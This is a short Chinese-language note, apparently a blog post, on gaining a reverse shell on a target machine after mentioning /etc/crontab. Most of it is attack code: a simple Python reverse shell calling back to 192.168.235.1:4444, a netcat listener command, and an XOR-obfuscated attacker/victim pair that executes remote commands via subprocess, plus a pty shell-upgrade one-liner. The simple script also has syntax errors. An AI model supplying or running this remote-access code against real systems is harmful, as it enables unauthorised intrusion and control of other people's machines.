/etc/crontab设置定期执行的任务,修改需要root权限
简易版
python反弹shell的文件:
1 #!/usr/bin/python 2 import os,subprocess,socket 3 4 s=socket.socket(socket.AF_INET,socket,SOCK_STREAM) 5 s.connect((192.168.235.1,4444)) 6 os.dup2(s.fileno(),0) 7 os.dup2(s.fileno(),1) 8 os.dup2(s.fileno(),2) 9 p=subprocess.call(["/bin/sh","-i"])
攻击机使用监听命令: nc -vlp 4444
完整版
攻击机(监听端口444得到shell)执行的文件:
1 #!/usr/bin/env python3 2 # -*- coding:utf-8 -*- 3 # Author:Ameng, jlx-love.com 4 5 from socket import * 6 import struct 7 8 9 client = socket(AF_INET,SOCK_STREAM) 10 client.bind(('0.0.0.0',4444)) 11 client.listen(5) 12 print('[+]Listening on port 4444...') 13 (conn,(ip,port)) = client.accept() 14 print('connect successfully to',ip) 15 16 def encrypt(data): 17 data = bytearray(data) 18 for i in range(len(data)): 19 data[i] ^= 0x23 20 return data 21 22 23 def decrypt(data): 24 data = bytearray(data) 25 for i in range(len(data)): 26 data[i] ^= 0x23 27 return data 28 29 30 while True: 31 cmd = input('~$ ').strip() 32 if len(cmd) == 0: 33 continue 34 cmd = encrypt(cmd.encode('utf-8')) 35 conn.send(cmd) 36 header = conn.recv(4) 37 total_size = struct.unpack('i',header)[0] 38 recv_size = 0 39 while recv_size < total_size: 40 recv_data = conn.recv(1024) 41 recv_size += len(recv_data) 42 recv_data = decrypt(recv_data) 43 print(recv_data.decode('utf-8'),end='')
靶机(被拿到shell)执行的文件:
1 #!/usr/bin/env python3 2 # -*- coding:utf-8 -*- 3 # Author:Ameng, jlx-love.com 4 5 from socket import * 6 import subprocess 7 import struct 8 9 10 11 server = socket(AF_INET,SOCK_STREAM) 12 server.connect(('192.168.235.1',4444)) 13 14 def encrypt(data): 15 data = bytearray(data) 16 for i in range(len(data)): 17 data[i] ^= 0x23 18 return data 19 20 21 def decrypt(data): 22 data = bytearray(data) 23 for i in range(len(data)): 24 data[i] ^= 0x23 25 return data 26 27 28 while True: 29 try: 30 cmd = server.recv(1024) 31 cmd = decrypt(cmd) 32 if len(cmd) == 0: 33 break 34 res = subprocess.Popen(cmd.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE) 35 stdout_res = res.stdout.read() 36 stderr_res = res.stderr.read() 37 result = stdout_res + stderr_res 38 result = encrypt(result) 39 total_size = len(result) 40 header = struct.pack('i',total_size) 41 server.send(header) 42 server.send(result) 43 except Exception: 44 break 45 server.close()
注:在靶机运行py文件时才能在攻击机执行命令,当停止运行则shell环境结束
得到shell的命令行优化指令:
python -c "import pty;pty.spawn('/bin/bash')"